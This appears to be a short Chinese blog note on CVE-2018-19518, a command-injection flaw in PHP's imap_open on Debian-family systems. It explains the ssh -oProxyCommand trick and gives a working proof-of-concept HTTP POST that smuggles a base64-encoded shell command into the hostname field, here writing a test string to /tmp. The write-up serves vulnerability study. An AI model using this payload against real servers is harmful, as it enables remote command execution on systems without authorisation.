【初级】phpimap 命令执行

CVE-2018-19518
漏洞描述:php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
影响版本:Ubuntu、Debian、Red Hat、SUSE
参考资料:
https://blog.csdn.net/m0_46436640/article/details/119343765
https://blog.csdn.net/qq_45688822/article/details/115369050
https://www.hacking8.com/bug-product/Php/CVE-2018-19518-PHP-imap-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md
POC:
●执行命令echo ‘1234567890’>/tmp/test0001

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
© 版权声明
THE END
喜欢就支持一下吧
点赞12赏点小钱 分享